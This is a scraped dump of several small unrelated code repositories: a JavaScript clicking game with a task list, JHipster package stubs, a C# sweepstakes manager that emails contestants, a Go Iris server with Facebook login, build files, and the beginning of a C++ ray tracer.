const block = document.getElementById('tl-pinned-list')
const pinned = arr.filter((item) => item.isPinned)
if (pinned.length) {
let html = ''
for (const item of pinned) {
html += `
<div class="task-item task-pinned" data-id="${item.id}">
<div>${item.title}</div>
<div><input type="checkbox" data-id="${item.id}" class="checkbox-pinned" checked></div>
</div>
`
}
block.innerHTML = html
const checkboxes = document.querySelectorAll('input.checkbox-pinned')
for (const item of checkboxes) {
item.addEventListener('change', () => {
this.tasks[item.dataset.id].unpin()
this.renderTasks()
})
}
} else {
block.textContent = 'No pinned tasks'
}
}
renderTasks() {
if (this.input.value) {
this.filter()
} else {
this.renderUnpinned(this.tasks)
}
this.renderPinned(this.tasks)
}
filter() {
const filtered = this.tasks.filter((item) => item.title.toLowerCase().startsWith(this.input.value.toLowerCase()))
if (filtered.length) {
this.renderUnpinned(filtered)
} else {
document.getElementById('tl-all-list').textContent = 'No tasks found'
}
}
}
<file_sep>/src/js/generate.js
export default function generateRandom() {
const min = 1
const max = Math.floor(16)
const result = Math.floor(Math.random() * (max - min + 1)) + min
return result.toString()
}
<file_sep>/src/js/task.js
/* eslint-disable no-unused-vars */
export default class Task {
constructor(id, title, isPinned) {
this.id = id
this.title = title
this.isPinned = false
}
pin() {
this.isPinned = true
}
unpin() {
this.isPinned = false
}
}
<file_sep>/src/js/field.js
/* eslint-disable no-plusplus */
export default class Field {
constructor(dimension) {
this.dimension = dimension
this.cellSize = 200
this.container = document.getElementById('field')
}
init() {
this.container.style.width = `${this.dimension * this.cellSize}px`
for (let i = 1; i <= this.dimension ** 2; i++) {
const cell = document.createElement('div')
cell.className = 'cell'
cell.id = i
cell.style.width = `${this.cellSize}px`
cell.style.height = `${this.cellSize}px`
this.container.appendChild(cell)
}
}
}
<file_sep>/README.md
Deployment is here: [https://nickupx.github.io/ahj-events-1/](https://nickupx.github.io/ahj-events-1/)
[](https://ci.appveyor.com/project/nickupx/ahj-events-1/branch/master)
<file_sep>/src/js/app.js
/* eslint-disable no-alert */
/* eslint-disable no-restricted-globals */
/* eslint-disable no-plusplus */
import Field from './field'
import Character from './character'
import Tasklist from './tasklist'
const field = new Field(4)
field.init()
const character = new Character()
character.init()
let hits = 0
let misses = 0
const move = character.move.bind(character)
field.container.addEventListener('click', (event) => {
if (event.target.id === character.img.id) {
hits++
document.getElementById('hits').textContent = hits
character.move()
} else {
misses++
document.getElementById('misses').textContent = misses
}
if (misses === 5) {
alert('Game Over')
location.reload()
}
})
setInterval(move, 1000)
// filter
const tasklist = new Tasklist()
const input = document.getElementById('tl-input')
input.addEventListener('keyup', (event) => {
tasklist.filter(input.value)
if (input.value !== '' && event.keyCode === 13) {
tasklist.add(input.value)
input.value = ''
tasklist.renderTasks()
}
})
|
07a241519113ed34e361830301a1a5e8db0f1d56
|
[
"JavaScript",
"Markdown"
] | 6 |
JavaScript
|
nickupx/ahj-events-1
|
abdd3d38a3458a04b0735be139b238c5ca699d7c
|
4f603fffd4cdc1d662abd7caa287137b059299a8
|
refs/heads/master
|
<file_sep>/**
* JPA domain objects.
*/
package com.daphne.cloud.gateway.domain;
<file_sep>/**
* JPA domain objects.
*/
package com.daphne.cloud.microservice1.domain;
<file_sep>import { NgModule, CUSTOM_ELEMENTS_SCHEMA } from '@angular/core';
import { GatewayCountryMySuffixModule } from './country/country-my-suffix.module';
import { GatewayDepartmentMySuffixModule } from './department/department-my-suffix.module';
import { GatewayEmployeeMySuffixModule } from './employee/employee-my-suffix.module';
import { GatewayJobMySuffixModule } from './job/job-my-suffix.module';
import { GatewayJobHistoryMySuffixModule } from './job-history/job-history-my-suffix.module';
import { GatewayLocationMySuffixModule } from './location/location-my-suffix.module';
import { GatewayRegionMySuffixModule } from './region/region-my-suffix.module';
import { GatewayTaskMySuffixModule } from './task/task-my-suffix.module';
/* jhipster-needle-add-entity-module-import - JHipster will add entity modules imports here */
@NgModule({
imports: [
GatewayCountryMySuffixModule,
GatewayDepartmentMySuffixModule,
GatewayEmployeeMySuffixModule,
GatewayJobMySuffixModule,
GatewayJobHistoryMySuffixModule,
GatewayLocationMySuffixModule,
GatewayRegionMySuffixModule,
GatewayTaskMySuffixModule,
/* jhipster-needle-add-entity-module - JHipster will add entity modules here */
],
declarations: [],
entryComponents: [],
providers: [],
schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class GatewayEntityModule {}
<file_sep>/**
* View Models used by Spring MVC REST controllers.
*/
package com.daphne.cloud.microservice1.web.rest.vm;
<file_sep>/**
* Cassandra specific configuration.
*/
package com.daphne.cloud.gateway.config.cassandra;
<file_sep>/**
* Spring Data JPA repositories.
*/
package com.daphne.cloud.gateway.repository;
|
34724af49ca93f091be551016adf5ccb110020c6
|
[
"Java",
"TypeScript"
] | 6 |
Java
|
jf8/spring-cloud
|
a88d11da3eafc76de83fc2f7d8c1b77edce32a7f
|
59b0e3143458bdcec3368230a539b2e85d68f1f9
|
refs/heads/main
|
<repo_name>GRy82/RepoSweepstakes<file_sep>/Sweepstakes/MarketingFirm.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Sweepstakes
{
public class MarketingFirm//This class functions to create a sweepstakes
{
public ISweepstakesManager _manager;
public MarketingFirm(ISweepstakesManager _manager)
{
this._manager = _manager;
}
public Sweepstakes CreateSweepstakes()
{
string sweepstakesName = UserInterface.GetUserInputFor("\nPlease enter the name of the sweepstakes you are starting: ");
Sweepstakes sweepstakes = new Sweepstakes(sweepstakesName);
return sweepstakes;
}
}
}
<file_sep>/Sweepstakes/Simulation.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Sweepstakes
{
class Simulation
{
public void CreateMarketingFirmWithManager()
{
string managementChoice;
do {
managementChoice = UserInterface.GetUserInputFor("\nPlease choose how your marketing firm would prefer to manage their sweepstakes. Type 'queue' or 'stack': ");
} while (managementChoice != "queue" && managementChoice != "stack");
ISweepstakesManager _manager = Factory.AssignManager(managementChoice);
//Below, you will see dependency injection at work. The process is contingent on what happens with the line of code seen above. The above static method call passes a
//parameter--in this case, provided by user input-- that will be used to signal what type of object should be returned. Because any of the objects returned are inheriting
//from ISweepstakesManager, they will be able to be stored in _manager as the ISweepstakesManager interface type.
//
//From there, the _manager variable can be passed to the constructor of the MarketingFirm object seen below, at the moment that it is instantiated. Because that respective
//constructor takes an ISweepstakesManager type as its parameter, any object of reference type that inherits ISweepstakesManager can be passed in.
//
//With dependency injection, we are able to eliminate a class's dependency, or a method's dependency, on any on one type of object. A certain flexibilty is provided instead.
//That is the flexibility to use the same needed functionality with different objects of differing reference type. The encapsulated implementation details may be different
//from one object to another, but they can all be interacted with in those ways prescribed by the interface they inherit.
MarketingFirm marketingFirm = new MarketingFirm(_manager);
}
}
}
<file_sep>/Sweepstakes/UserInterface.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Sweepstakes
{
public static class UserInterface
{
public static string GetUserInputFor(string prompt)
{
Console.Write(prompt);
return Console.ReadLine();
}
public static Contestant EnterContestantInfo()
{
Console.WriteLine("\nEnter the contestant's information here...\n");
string fName = GetUserInputFor("first name: ");
string lName = GetUserInputFor("last name: ");
string email = GetUserInputFor("email address: ");
int registration = Convert.ToInt32(GetUserInputFor("registration number: "));
Contestant contestant = new Contestant(fName, lName, email, registration);
return contestant;
}
}
}
<file_sep>/Sweepstakes/Contestant.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MailKit.Net.Smtp;
using MailKit;
using MimeKit;
namespace Sweepstakes
{
public class Contestant : IObserver<Contestant>
{
public string firstName;
public string lastName;
public string emailAddress;
public int registrationNumber;
public string status = "competing";
public Contestant(string firstName, string lastName, string emailAddress, int registrationNumber)
{
this.firstName = firstName;
this.lastName = lastName;
this.emailAddress = emailAddress;
this.registrationNumber = registrationNumber;
}
//Use of API, MailKit by JStedfast
public void OnNext(Contestant winner)
{
var message = new MimeMessage();
message.From.Add(new MailboxAddress("Sweepstakes Runners", "marketingFirmEmail.com"));
message.To.Add(new MailboxAddress(this.firstName + this.lastName, this.emailAddress));
message.Subject = "The results of the Sweepstakes!!";
if (this.status == "winner")
{
message = TailorMessageToWinner(message, winner);
}
else
{
message = TailorMessageToLoser(message, winner);
}
using (var client = new SmtpClient())
{
client.Connect("smtp.gmail.com", 587, false);
client.Authenticate("marketingFirmEmail.com", "<PASSWORD>");
client.Send(message);
client.Disconnect(true);
}
}
public void OnError(Exception error)
{
}
public void OnCompleted()
{
this.status = "Not competing";
}
private MimeMessage TailorMessageToWinner(MimeMessage message, Contestant winner)
{
message.Body = new TextPart("plain")
{
Text = $@"Congratulations, {winner.firstName} {winner.lastName}!!! You are the winner of our sweepstakes. Hopefully you kept that receipt so you can claim your prize!"
};
return message;
}
private MimeMessage TailorMessageToLoser(MimeMessage message, Contestant winner)
{
message.Body = new TextPart("plain")
{
Text = $@"Thank you so much for your participation in our sweepstakes. Unfortunately, you are not the winner this time around. We'd like to congratulate the winner of our sweepstakes, {winner.firstName} {winner.lastName}!!!"
};
return message;
}
}
}
<file_sep>/README.md
# RepoSweepstakes
Backend application for management of sweepstakes by marketing firms, and the like; making use of an Interface, Dictionary data structure, a 3rd party API, Factory Design Pattern, and Dependency Injection
<file_sep>/Sweepstakes/Factory.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Sweepstakes
{
public static class Factory
{
public static ISweepstakesManager AssignManager(string managementChoice)
{
ISweepstakesManager _manager = null;
switch (managementChoice)
{
case "queue":
_manager = new SweepstakesQueueManager();
break;
case "stack":
_manager = new SweepstakesStackManager();
break;
}
return _manager;
}
}
}
<file_sep>/Sweepstakes/Sweepstakes.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MailKit.Net.Smtp;
using MailKit;
using MimeKit;
namespace Sweepstakes
{
public class Sweepstakes : IObservable<Contestant>
{
public Dictionary<int, Contestant> contestants = new Dictionary<int, Contestant> { };
private string name;
public string Name { get => name; set => name = value; }
public Contestant this[int index]
{
get { return contestants[index]; }
set { contestants[index] = value; }
}
public Sweepstakes(string name)
{
this.name = name;
}
public IDisposable Subscribe(IObserver<Contestant> observer)
{
int counter = 0;
for (int i = 0; i < contestants.Count; i++)
{
if (observer != contestants[i]) {
counter++;
}
}
if(counter == contestants.Count)
{
contestants.Add(contestants.Count, (Contestant)observer);
}
return new Unsubscribe(contestants, (Contestant)observer);
}
public void RegisterContestant(Contestant contestant)
{
this.Subscribe(contestant);
}
public Contestant PickWinner()
{
Random rand = new Random();
int winnerIndex = rand.Next(0, contestants.Count);
Contestant winner = contestants[winnerIndex];
foreach (KeyValuePair<int, Contestant> item in contestants)
{
if (item.Value == winner) {
item.Value.status = "winner";
}
else {
item.Value.status = "loser";
}
item.Value.OnNext(winner);
item.Value.OnCompleted();
}
return winner;
}
public void PrintContestantInfo(Contestant contestant)
{
Console.WriteLine($"\nfirst name: {contestant.firstName}\nlast name: {contestant.lastName}\nemail address:" +
$" {contestant.emailAddress}\nregistration number: {contestant.registrationNumber}");
}
}
}
<file_sep>/Sweepstakes/Unsubscribe.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Sweepstakes
{
internal class Unsubscribe : IDisposable
{
private Dictionary<int, Contestant> contestants;
private Contestant contestant;
internal Unsubscribe(Dictionary<int, Contestant> contestants, Contestant contestant)
{
this.contestants = contestants;
this.contestant = contestant;
}
public void Dispose()
{
int indexOfContestant = 0;
for (int i = 0; i < contestants.Count; i++)
{
indexOfContestant = i;
if (contestants[i] == contestant)
{
contestants.Remove(i);
break;
}
}
//Re-sort dictionary so there are no gaps in incremental numeric key continuity
for(int i = indexOfContestant; i < contestants.Count + 1; i++)
{
Contestant temporaryContestant = contestants[i + 1];
contestants.Remove(i + 1);
contestants.Add(i, temporaryContestant);
}
}
}
}
|
d9623c523a7533ce2e479b742a86e12fc839e29f
|
[
"Markdown",
"C#"
] | 8 |
C#
|
GRy82/RepoSweepstakes
|
42e054b969990a0752fc49fda6a2f69c1e220906
|
e39d9c1f6c649a0dcab38dfb4145cd92753c0921
|
refs/heads/master
|
<repo_name>jissmoljames/mysqljdbc<file_sep>/sample/src/main/java/io/sample/app/Laptop1Application.java
package io.sample.app;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ComponentScan;
import io.sample.Laptopcontroller1;
@SpringBootApplication
@ComponentScan(basePackageClasses = Laptopcontroller1.class)
public class Laptop1Application {
public static void main(String[] args) {
SpringApplication.run(Laptop1Application.class, args);
}
}
<file_sep>/springdatajpa-1/src/main/java/com/example/demo/Springdatajpa1Application.java
package com.example.demo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ComponentScan;
import com.example.demo.springbootstarter.topic.Laptopcontroller1;
@ComponentScan(basePackageClasses = Laptopcontroller1.class)
@SpringBootApplication
public class Springdatajpa1Application {
public static void main(String[] args) {
SpringApplication.run(Springdatajpa1Application.class, args);
}
}
<file_sep>/sample/src/main/java/io/sample/Laptopservice1.java
package io.sample;
import java.util.Arrays;
import java.util.List;
import org.springframework.stereotype.Service;
@Service
public class Laptopservice1 {
private List<laptop1> top=Arrays.asList(
new laptop1("1","Dell", "500GB"),
new laptop1("2","Lenovo", "256GB"),
new laptop1("3","HP", "1TB")
);
public List<laptop1> getAllTopics(){
return top;
}
public laptop1 getTopics(String id) {
return top.stream().filter(t -> t.getId().equals(id)).findFirst().get();
}
}
<file_sep>/sample/src/main/java/io/sample/Laptopcontroller1.java
package io.sample;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Laptopcontroller1 {
@Autowired
private Laptopservice1 laptopservice;
@RequestMapping("/topics")
public List<laptop1> getAllTopics(){
return laptopservice.getAllTopics();
}
@RequestMapping("/topics/{id}")
public laptop1 getTopics(@PathVariable String id){
return laptopservice.getTopics(id);
}
}
|
379309471f84fb649d100490e4f074f0790a8128
|
[
"Java"
] | 4 |
Java
|
jissmoljames/mysqljdbc
|
9970c9c26ee666f4279f215f176dc9674c839e7a
|
f29c23b44acf7bf90099ef976fca4cf0c0b19054
|
refs/heads/master
|
<repo_name>rikingurditta/particles-python<file_sep>/sorting.py
from typing import Callable, Any
def bubble_sort(l: list, key: Any = lambda x: x) -> list:
done = False
for _ in range(len(l)):
for i in range(len(l) - 1):
done = True
if key(l[i]) > key(l[i + 1]):
done = False
l[i], l[i + 1] = l[i + 1], l[i]
if done:
return
<file_sep>/main.py
from typing import List, Tuple
import pygame
from particle import Particle
from sorting import bubble_sort
WINDOW_SIZE = (768 // 4 * 3, 768 // 4 * 3)
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
GREEN = (0, 255, 0)
RED = (255, 0, 0)
DIM = 8 # height/width of dot
N = 512 # number of dots
ice_list = [] # list holding dots
if __name__ == '__main__':
screen = pygame.display.set_mode(WINDOW_SIZE) # change window size
pygame.display.set_caption('Particles!') # change window name
done = False
clock = pygame.time.Clock()
ice_list.append(Particle(DIM, free=False)) # create centre particle
ice_list[0].move(WINDOW_SIZE[0] // 2, WINDOW_SIZE[1] // 2)
ice_list[0].quantize_pos()
for _ in range(N - 1): # create particles
x = Particle(DIM)
x.move_to_random_pos(0, 0, WINDOW_SIZE[0], WINDOW_SIZE[1])
x.quantize_pos()
ice_list.append(x)
while not done:
for event in pygame.event.get():
if event.type == pygame.QUIT: # if a QUIT event is received
done = True # end the program
screen.fill(WHITE) # reset screen to white before drawing
for ice in ice_list:
ice.step_drunk_float_jumps() # move particle, keep within screen
ice.move_into_bounds(0, 0, WINDOW_SIZE[0], WINDOW_SIZE[1])
ice.draw(screen) # draw particle
# check for collision between stuck particles and free particles
for ice1 in filter(lambda ice: not ice.free, ice_list):
for ice2 in filter(lambda ice: ice.free, ice_list):
if ice1.check_collision(ice2): # if there is a collision
ice2.free = False # make free particle stuck
pygame.display.flip() # update screen
clock.tick(60) # set frame rate
<file_sep>/README.md
#Particles!
This is a Python rewrite of a weird particle simulation I wrote a while ago. [Here's](https://rikingurditta.github.io/JavaScriptFunStuff/Particles) the original program, if you want to check it out.
This repo's program is very similar, but will have a few more features (different types of particle motion, improved performance). I'll put a gif here of this repo's program sometime... !
###TODO
- change collision detection algorithm
- sort positions of particles by x, y coordinates, compare adjacent particles to check for collision
- more efficient than checking for all collisions
- use bubble sort, because it's fast for almost-sorted lists
- try implementing and using a quadtree
- allow for setting simulation options at runtime
- implement linear particle movement rather than random steps
- implement conservation of momentum and energy
<file_sep>/particle.py
from typing import List, Tuple, Union
import pygame
import math
import random
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
GREEN = (0, 255, 0)
RED = (255, 0, 0)
class Particle:
dim: int
x: int
y: int
free: bool
free_color: Tuple[int, int, int]
stuck_color: Tuple[int, int, int]
def __init__(self, dim: int, loc: Tuple[int, int] = (0, 0),
free: bool = True,
free_col: Tuple[int, int, int] = BLACK,
stuck_col: Tuple[int, int, int] = RED) -> None:
self.dim = dim
self.x = loc[0]
self.y = loc[1]
self.free = free
self.free_color = free_col
self.stuck_color = stuck_col
def move(self, new_x: int, new_y: int) -> None:
self.x = new_x
self.y = new_y
def move_to_random_pos(self, min_x: int, min_y: int,
max_x: int, max_y: int) -> None:
self.x = random.randint(min_x, max_x)
self.y = random.randint(min_y, max_y)
def quantize_pos(self) -> None:
self.x = (self.x // self.dim) * self.dim
self.y = (self.y // self.dim) * self.dim
def move_into_bounds(self, min_x: int, min_y: int,
max_x: int, max_y: int) -> None:
if self.x < min_x:
self.x = min_x
elif self.x > max_x:
self.x = max_x
if self.y < min_y:
self.y = min_y
elif self.y > max_y:
self.y = max_y
def step_drunk(self) -> None:
if self.free:
self.x += random.randint(-1, 1) * self.dim
self.y += random.randint(-1, 1) * self.dim
def step_drunk_float_jumps(self) -> None:
if self.free:
self.x += random.uniform(-1, 1) * self.dim
self.y += random.uniform(-1, 1) * self.dim
def rect(self) -> pygame.rect:
return pygame.Rect(self.x, self.y, self.dim, self.dim)
def draw(self, surface) -> None:
if self.free:
col = self.free_color
else:
col = self.stuck_color
pygame.draw.rect(surface, col, self.rect())
def check_collision(self, other) -> bool:
return self.x <= other.x + other.dim \
and self.x + self.dim >= other.x \
and self.y <= other.y + other.dim \
and self.y + self.dim >= other.y
|
1a940aa6798e6cd7aaf218dafa08b9a3dae38def
|
[
"Markdown",
"Python"
] | 4 |
Python
|
rikingurditta/particles-python
|
1d7037fb9aa094f6ad5ed6e67a85bb460392e7e5
|
e1a6467424087be4bed55341bdc472c0262bb87a
|
refs/heads/master
|
<file_sep>package rds
import (
"os"
"strconv"
"github.com/go-redis/redis"
"fmt"
)
type TypeRedis struct {
RDShost string
RDSport string
RDSname string
}
func (r *TypeRedis) NewConn() *redis.Client {
dbname, err := strconv.Atoi(r.RDSname)
if err != nil {
panic(err)
}
connection := redis.NewClient(&redis.Options{
Addr: fmt.Sprintf("%s:%s", r.RDShost, r.RDSport),
Password: "", // no password set
DB: dbname,
})
_, errConn := connection.Ping().Result()
if errConn != nil {
panic(errConn)
}
return connection
}
func New() *TypeRedis {
return &TypeRedis{
os.Getenv("RDSHOST"),
os.Getenv("RDSPORT"),
os.Getenv("RDSNAME"),
}
}
<file_sep>package psql
import (
"github.com/jinzhu/gorm"
"fmt"
"os"
_ "github.com/jinzhu/gorm/dialects/postgres"
)
type TypePSQL struct {
PGhost string
PGport string
PGname string
PGuser string
PGpass string
}
func makeMigrations(connection *gorm.DB) {
migrate := os.Getenv("MIGRATE")
if migrate == "1" {
fmt.Println("Migrate")
//TODO: ADD CONSTRAINTS
connection.AutoMigrate()
fmt.Println("Migrations done")
}
}
func (p *TypePSQL) NewConn() *gorm.DB {
connStr := fmt.Sprintf("sslmode=disable host=%s port=%s dbname=%s user=%s password=%s",
p.PGhost, p.PGport, p.PGname, p.PGuser, p.PGpass)
connection, err := gorm.Open("postgres", connStr)
if err != nil {
panic(err)
}
err = connection.DB().Ping()
if err != nil {
panic(err)
}
//makeMigrations(connection)
return connection
}
func New() *TypePSQL {
return &TypePSQL{
os.Getenv("PGHOST"),
os.Getenv("PGPORT"),
os.Getenv("PGNAME"),
os.Getenv("PGUSER"),
os.Getenv("PGPASS"),
}
}
<file_sep>package server
import (
"github.com/kataras/iris"
)
func (s *TypeServer) Routing() {
s.App.RegisterView(iris.HTML("./templates", ".html"))
//s.App.Get("/", func(ctx context.Context) {
// ctx.Writef("Music Room Project")
//})
s.App.Get("/healthcheck", func(ctx iris.Context) {
ctx.StatusCode(200)
ctx.JSON(iris.Map{
"message": "SERVER UP",
})
})
s.App.Get("/auth/{provider}/callback", func(ctx iris.Context) {
user, err := CompleteUserAuth(ctx)
if err != nil {
ctx.StatusCode(iris.StatusInternalServerError)
ctx.Writef("%v", err)
return
}
ctx.ViewData("", user)
if err := ctx.View("user.html"); err != nil {
ctx.Writef("%v", err)
}
})
s.App.Get("/auth/{provider}", func(ctx iris.Context) {
// try to get the user without re-authenticating
if gothUser, err := CompleteUserAuth(ctx); err == nil {
ctx.ViewData("", gothUser)
if err := ctx.View("user.html"); err != nil {
ctx.Writef("%v", err)
}
} else {
BeginAuthHandler(ctx)
}
})
s.App.Get("/", func(ctx iris.Context) {
ctx.ViewData("", s.Providers)
if err := ctx.View("index.html"); err != nil {
ctx.Writef("%v", err)
}
})
s.App.Get("/auth/{provider}", func(ctx iris.Context) {
// try to get the user without re-authenticating
if gothUser, err := CompleteUserAuth(ctx); err == nil {
ctx.ViewData("", gothUser)
if err := ctx.View("user.html"); err != nil {
ctx.Writef("%v", err)
}
} else {
BeginAuthHandler(ctx)
}
})
}<file_sep>package server
import (
"github.com/markbates/goth"
"os"
"github.com/markbates/goth/providers/facebook"
"sort"
"github.com/kataras/iris"
"errors"
"github.com/kataras/iris/sessions"
"github.com/gorilla/securecookie"
)
var sessionsManager *sessions.Sessions
type ProviderIndex struct {
Providers []string
ProvidersMap map[string]string
}
func NewProviders() *ProviderIndex {
goth.UseProviders(
facebook.New(os.Getenv("FACEBOOK_KEY"), os.Getenv("FACEBOOK_SECRET"), "http://localhost:3000/auth/facebook/callback"),
)
m := make(map[string]string)
m["facebook"] = "Facebook"
var keys []string
for k := range m {
keys = append(keys, k)
}
sort.Strings(keys)
return &ProviderIndex{Providers: keys, ProvidersMap: m}
}
var GetProviderName = func(ctx iris.Context) (string, error) {
// try to get it from the url param "provider"
if p := ctx.URLParam("provider"); p != "" {
return p, nil
}
// try to get it from the url PATH parameter "{provider} or :provider or {provider:string} or {provider:alphabetical}"
if p := ctx.Params().Get("provider"); p != "" {
return p, nil
}
// try to get it from context's per-request storage
if p := ctx.Values().GetString("provider"); p != "" {
return p, nil
}
// if not found then return an empty string with the corresponding error
return "", errors.New("you must select a provider")
}
func init() {
// attach a session manager
cookieName := "mycustomsessionid"
// AES only supports key sizes of 16, 24 or 32 bytes.
// You either need to provide exactly that amount or you derive the key from what you type in.
hashKey := []byte("the-big-and-secret-fash-key-here")
blockKey := []byte("lot-secret-of-characters-big-too")
secureCookie := securecookie.New(hashKey, blockKey)
sessionsManager = sessions.New(sessions.Config{
Cookie: cookieName,
Encode: secureCookie.Encode,
Decode: secureCookie.Decode,
})
}
var CompleteUserAuth = func(ctx iris.Context) (goth.User, error) {
providerName, err := GetProviderName(ctx)
if err != nil {
return goth.User{}, err
}
provider, err := goth.GetProvider(providerName)
if err != nil {
return goth.User{}, err
}
session := sessionsManager.Start(ctx)
value := session.GetString(providerName)
if value == "" {
return goth.User{}, errors.New("session value for " + providerName + " not found")
}
sess, err := provider.UnmarshalSession(value)
if err != nil {
return goth.User{}, err
}
user, err := provider.FetchUser(sess)
if err == nil {
// user can be found with existing session data
return user, err
}
// get new token and retry fetch
_, err = sess.Authorize(provider, ctx.Request().URL.Query())
if err != nil {
return goth.User{}, err
}
session.Set(providerName, sess.Marshal())
return provider.FetchUser(sess)
}
func BeginAuthHandler(ctx iris.Context) {
url, err := GetAuthURL(ctx)
if err != nil {
ctx.StatusCode(iris.StatusBadRequest)
ctx.Writef("%v", err)
return
}
ctx.Redirect(url, iris.StatusTemporaryRedirect)
}
func GetAuthURL(ctx iris.Context) (string, error) {
providerName, err := GetProviderName(ctx)
if err != nil {
return "", err
}
provider, err := goth.GetProvider(providerName)
if err != nil {
return "", err
}
sess, err := provider.BeginAuth(SetState(ctx))
if err != nil {
return "", err
}
url, err := sess.GetAuthURL()
if err != nil {
return "", err
}
session := sessionsManager.Start(ctx)
session.Set(providerName, sess.Marshal())
return url, nil
}
var SetState = func(ctx iris.Context) string {
state := ctx.URLParam("state")
if len(state) > 0 {
return state
}
return "state"
}<file_sep>package main
import (
"context"
"github.com/music-room/api-server/server"
"os"
"os/signal"
"syscall"
"time"
"github.com/kataras/iris"
)
func main() {
apiServer := server.New()
go func() {
ch := make(chan os.Signal, 1)
signal.Notify(ch,
// kill -SIGINT XXXX or Ctrl+c
os.Interrupt,
syscall.SIGINT, // register that too, it should be ok
// os.Kill is equivalent with the syscall.Kill
os.Kill,
syscall.SIGKILL, // register that too, it should be ok
// kill -SIGTERM XXXX
syscall.SIGTERM,
)
select {
case <-ch:
println("Shutdown...")
timeout := 5 * time.Second
ctx, cancel := context.WithTimeout(context.Background(), timeout)
defer cancel()
apiServer.App.Shutdown(ctx)
}
}()
apiServer.App.Logger().SetLevel("debug")
apiServer.Routing()
// Start the server and disable the default interrupt handler in order to
errServer := apiServer.App.Run(
// Start the web server at localhost:80
iris.Addr(":9000"),
// disables updates:
iris.WithoutVersionChecker,
// skip err server closed when CTRL/CMD+C pressed:
iris.WithoutServerError(iris.ErrServerClosed),
// enables faster json serialization and more:
iris.WithOptimizations,
// handle it clear and simple by our own, without any issues.
iris.WithoutInterruptHandler)
if errServer != nil {
panic(errServer)
}
}
<file_sep>package server
import (
"github.com/music-room/api-server/db/psql"
"github.com/music-room/api-server/db/rds"
"github.com/kataras/iris"
)
type TypeServer struct {
PSQL *psql.TypePSQL
Redis *rds.TypeRedis
App *iris.Application
Providers *ProviderIndex
}
func New() *TypeServer {
return &TypeServer{
PSQL: psql.New(),
Redis: rds.New(),
App: iris.New(),
Providers: NewProviders(),
}
}
<file_sep>FROM scratch
ADD m usic-room /
CMD mkdir config
#COPY config/music-room.yaml config/
ENTRYPOINT ["/music-room"]<file_sep>BIN=music-room
GOOS=linux
GOARCH=amd64
CGO_ENABLED=0
GOCMD=go
GOBUILD=$(GOCMD) build
GOCLEAN=$(GOCMD) clean
GOTEST=$(GOCMD) test
GOGET=$(GOCMD) get
GOFLAGS=-ldflags '-w -s'
DOCKER=docker
DOCKERBUILD=$(DOCKER) build
DOCKERRUN=$(DOCKER) run
DOCKERPUSH=$(DOCKER) push
AWS=alex
GODEP=dep
NEWDEP=$(GODEP) ensure
AWSECR=848984447616.dkr.ecr.us-east-1.amazonaws.com/$(BIN)
all: go-build docker-build docker-push clean
go-build:
@echo "Golang build executable..."
$(NEWDEP)
GOOS=$(GOOS) GOARCH=$(GOARCH) CGO_ENABLED=$(CGO_ENABLED) $(GOBUILD) -o $(BIN) $(GOFLAGS) main.go
docker-build:
@echo "Docker build service..."
$(DOCKERBUILD) --no-cache -t $(BIN) .
docker-push:
@echo "Push Docker image to AWS ECR..."
docker tag $(BIN):latest $(AWSECR):latest
eval $(aws ecr --profile alex get-login --no-include-email --region us-east-1 | sed 's|https://||') && docker push $(AWSECR):latest
run:
@echo "Docker run service..."
$(DOCKERRUN) \
--rm \
-dt \
-p 8001:8001 \
--name=$(BIN) \
$(BIN)
clean:
@echo "Clean"
$(GOCLEAN)
rm -f $(BINARY)
#docker rmi $(docker images -q)
#docker rm $(docker ps -q -f status=exited)<file_sep>#!/bin/bash
dep ensure -v
export CGO_ENABLED=0
export GOOS=linux
go build -a -installsuffix cgo -o bin/server -v
docker build -t music-room .
docker run --rm -ti -p 8080:8080 -p 9000:9000 music-room
#docker build --no-cache -t 848984447616.dkr.ecr.us-east-1.amazonaws.com/music-room .
#`echo $(aws --profile $1 --region eu-west-1 ecr get-login) | sed -e "s/-e none//"` #magic
#docker push 848984447616.dkr.ecr.us-east-1.amazonaws.com/music-room
|
b3e1fb9239a284c0e778a9d62f332ef5a458bb5d
|
[
"Makefile",
"Go",
"Dockerfile",
"Shell"
] | 9 |
Go
|
Music-Room/api-server
|
32c860dabde1a79e8a5761d8d1fdea3454a5051d
|
b637438eb72fc7d5befe1138236b233c0f872725
|
refs/heads/master
|
<repo_name>amast09/RayTracer<file_sep>/model.cpp
#include <omp.h>
#include <iostream>
#include <iomanip>
#include <fstream>
#include <string>
#include <cassert>
#include <cstring>
#include <cmath>
#include "vector.h"
#include "pixel.h"
#include "camera.h"
#include "light.h"
#include "material.h"
#include "object.h"
#include "list.h"
#include "plane.h"
#include "sphere.h"
#include "model.h"
#include "ray.h"
#include "photon.h"
#include "timer.h"
#include "kdtree.h"
#ifndef INFINITY
#define INFINITY HUGE
#endif
std::istream& operator>>(std::istream& s, model_t& rhs)
{
light_t *lgt;
material_t *mat;
object_t *obj;
std::string token,name;
while(!s.eof()) {
if((s >> token).good()) {
if(token == "light") {
s >> (lgt = new light_t());
std::cerr << "loaded " << lgt->getname() << std::endl;
rhs.lgts.push_back(lgt);
}
if(token == "camera") {
s >> rhs.cam;
std::cerr << "loaded " << rhs.cam.getname() << std::endl;
}
if(token == "material") {
s >> (mat = new material_t());
std::cerr << "loaded " << mat->getname() << std::endl;
